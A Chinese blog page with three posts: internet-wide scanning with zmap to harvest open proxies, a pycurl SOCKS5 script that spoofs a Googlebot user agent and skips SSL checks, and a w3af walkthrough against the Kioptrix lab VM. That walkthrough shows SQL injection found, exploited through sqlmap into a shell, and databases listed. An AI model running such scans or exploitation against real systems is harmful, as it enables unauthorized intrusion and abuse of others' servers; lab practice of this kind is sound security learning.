Browsed by
分类:python

如何在一天内扫描整个互联网

如何在一天内扫描整个互联网

网络越来越大,我们需要找个人呀,找个服务呀,时间越来越长

小时候,我们找小伙伴们玩,一般是跑到小牛家,对话过程如果

小驴:“小牛在不在家”
如果在家
小牛:“在家,你是哪位”

小驴:”我是小驴,出来玩吧”
如果同意
小牛:“好的,我马上出来”

小驴:“好的,我在外面等你”
如果出来成功
小牛:“我们一起走吧”

这就是简单的互联网TCP协议连接的过程,是不是发现很像

如果我们还有,小兔,小猪,小鸭……上亿个小伙伴,我们的过程就如上所示,这里会产生一个问题,如果有的人反应有点慢,或人不在家,在整个过程中我们需要浪费大量的时间在等待,如果我们在一家等上二分钟,那积累的时间将是很巨量的

如果有上亿个小伙伴,我们有没有更好的算法呢,我们可以这样,跑到小牛家,大喊一声:“小牛,我是小驴,如果你在家,请Call Me – 119001”,不等小牛回答,我们就跑到,小兔,小猪,小鸭…….

如果人家在的,就会Call你,哪果人不在家,当然也有可能人家老妈在家,听到后制止你俩的联系,那就不需要再等待,效率成倍增加

OK, 使用第二种方案,我们可以在一天内扫描整个互联网255^4次方的数量的主机,这效率,是不是很惊人,当然,你要有个强大的网络,多强大,仅需并发能承受 在200万会话就行了,你要想,这得多贵的机器,SORRY,你可以自已打造 ,流量呢,大约在80Mbps足够了

是不是有点小激动了,因为很多人都能开始满足条件了

这里要感谢某网络中心的老师提供的实验环境,及强大的网络,虽然没用得上他1G的出口,但瞬时200万的会话已经让他有杀了我的冲动.

根 据以上的方案,我们是不是很激动的要开始我们的code,因为这样的程序写起来是如此的简单,因为太简单, 所以已经有人帮我们写好了,而且还优化了很多方案,那就是zmap,虽然简单,但效率真是很高,时间就是命哪!在一天内可以扫描整个互联网的某端口开放的 所有IP(其实如果支持200W并发100M带宽,二三个多小时足够 了)

当然我们可以使用NMap的-sS选项,nmap的程序写的有点….为了尊重前辈,我们不再过多评论

实验下来150W会话,大约是2分钟完成一个255^3的网络扫描,是不是很激动了

那剩下的时间,我们要在极短的时间内验证这些服务,我们以寻找代理服务器(HTTP,SOCKS4,SOCKS5)为例,扫描下来开放1080 8080 3128的服务器大约在1300W左右IP,那我得必须要极短的时间内验证

我们可以利用 curl这个高效的组件(curl支持线程安全,本身支持多线程,而且相当的稳定)

剩下的就简单说了一下要注意的地方

IP地址入数据库,因达到千万级,如果使用的是mysql需要注意整个表的架设及优化,尽量使用enum类型,IP本身就可以做为主键,搭的好,小破机上千万的查询也是瞬间的事宜。

使 用CURL的多线程模式,CURL支持多种语言,如果你是个资深的CODER,达到每小时百万级的验证也是眨眨眼的事宜,是不是更激动了,以前需要使用N 个月工作的事宜,现在一天就搞定,如果你问这服务器得多强哪,其实六七年前的老旧服务器都足够了,是不是有种在家里就能搞出个GOOGLE的激动了.

验证的网站也很重要,最好支持高数量并发的网站,比如像http://ip.qq.com,这样的大站,再说小网站也经不起这么疯狂的流量,一般很容易就先死翘翘了

如果你真的想搞,需要以下的知识,例个表

详尽的TCP/IP知识
MYSQL的优化
HTTP协议

C++(必须)

PHP(可选)
python(可选)
java(可选)

当然你也必须懂 linux 或 freebsd 下的各类操作

windows下的的各类操作(有利用你的工作效率,不要跟我一样装B还在用ee写程序,那是没办法的事)

结果可以在

https://proxy.peuland.com

上可以看到,每三小时验证一次,IP地址会不定时变更,请每三小时更新一次,数量在1000-6000之间变动,具体量看{G/F\W}封的速度了

想想不是很激动了,以前N个月才能完成的事,现在一天就能完成,而且一台普通台式机做服务器都能搞的定

pycurl使用socks5代理功能

pycurl使用socks5代理功能

如何在pycurl使用socks5代理,在官方手册中并没有查到,这里根据python的习惯性写法,假想了一下没想到成功

贴一个代码

import pycurl
import StringIO
import sys
from termcolor import colored

url="about:blank"
cookiefile ="/tmp/test.cookie"
for cmd in sys.argv:
    cmd_info=cmd.split("=")
    if cmd_info[0].upper() == "URL":
        url=cmd_info[1]
    if cmd_info[0].upper() == "COOKIE":
        cookiefile=cmd_info[1]

if url == "about:blank":
   print("Help : %s %s"%(sys.argv[0], "url=http://www.google.com"))
   sys.exit()

proxy ="%s://%s:%s"%("socks5","192.168.1.253","5080")

try:
   curl=pycurl.Curl()
   curl.setopt(pycurl.URL,url)
   curl.setopt(pycurl.MAXREDIRS, 5)
   curl.setopt(pycurl.FOLLOWLOCATION,1)
   curl.fp=StringIO.StringIO()
   curl.setopt(curl.WRITEFUNCTION,curl.fp.write)
   curl.setopt(curl.USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)")
   curl.setopt(pycurl.COOKIEFILE,cookiefile)
   curl.setopt(pycurl.COOKIEJAR,cookiefile)
   curl.setopt(pycurl.CONNECTTIMEOUT,30) #Connect time out
   curl.setopt(pycurl.TIMEOUT,600) #Download time out
   curl.setopt(pycurl.SSL_VERIFYPEER,False)
   curl.setopt(pycurl.SSL_VERIFYHOST,False)
   curl.setopt(pycurl.PROXY,proxy)
   curl.setopt(pycurl.REFERER,url)
   curl.perform()
   print curl.getinfo(curl.HTTP_CODE)
   print curl.fp.getvalue()
except Exception,error_info:
   print "[Error] curl => %s"%(error_info)

curl.fp.close()
curl.close()

 

w3af简单使用教程

w3af简单使用教程

w3af 是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全 漏洞,所以很容易使用和扩展.

0×00 概述

在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.

0×01 简介

w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全 漏洞,所以很容易使用和扩展.

0×02 安装

root@bt:~# apt-get install w3af

0×03 启动

 

root@bt:~# cd /pentest/web/w3af/
root@bt:/pentest/web/w3af# ./w3af_console

 

0×04 漏洞扫描配置

 

w3af>>> plugins
//进入插件模块
w3af/plugins>>> list discovery 
//列出所有用于发现的插件
w3af/plugins>>> discovery findBackdoor phpinfo webSpider 
//启用findBackdoor phpinfo webSpider这三个插件
w3af/plugins>>> list audit 
//列出所有用于漏洞的插件
w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss 
//启用blindSqli fileUpload osCommanding sqli xss这五个插件
w3af/plugins>>> back
//返回主模块
w3af>>> target
//进入配置目标的模块
w3af/config:target>>>set target http://192.168.244.132///把目标设置为http://192.168.244.132/
w3af/config:target>>> back
//返回主模块

 

0×05 漏洞扫描

 

w3af>>> start

 

 

---
New URL found by phpinfo plugin: http://192.168.244.132/
New URL found by phpinfo plugin: http://192.168.244.132/checklogin.php
New URL found by phpinfo plugin: http://192.168.244.132/index.php
New URL found by webSpider plugin: http://192.168.244.132/
New URL found by webSpider plugin: http://192.168.244.132/checklogin.php
New URL found by webSpider plugin: http://192.168.244.132/index.php
Found 3 URLs and 8 different points of injection.
The list of URLs is:
- http://192.168.244.132/index.php
- http://192.168.244.132/checklogin.php
- http://192.168.244.132/
The list of fuzzable requests is:
- http://192.168.244.132/ | Method: GET
- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")
- http://192.168.244.132/checklogin.php | Method: GET
- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")
- http://192.168.244.132/index.php | Method: GET
- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")
Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.
SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.
Scan finished in 19 seconds.
---
//开始扫描

 

0×06 漏洞利用配置

 

w3af>>> exploit 
//进入漏洞利用模块
w3af/exploit>>> list exploit
//列出所有用于漏洞利用的插件
w3af/exploit>>> exploit sqlmap 
//使用sqlmap进行SQL注入漏洞的测试

 

 

---
Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...
Vulnerability successfully exploited. This is a list of available shells and proxies:
- [0] <sqlobject ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>
Please use the interact command to interact with the shell objects.
---
//测试存在SQL注入漏洞
//这里要记住shell objects(这里是0),等一下要用到
0x07 漏洞利用
w3af/exploit>>> interact 0
//interact + shell object就可以利用了

---
Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shell
w3af/exploit/sqlmap-0>>> 
---
//sqlmap的一个交互式模块

w3af/exploit/sqlmap-0>>> dbs   

---
Available databases:  [3]:
[*] information_schema
[*] members
[*] mysql
---
//成功获得数据库信息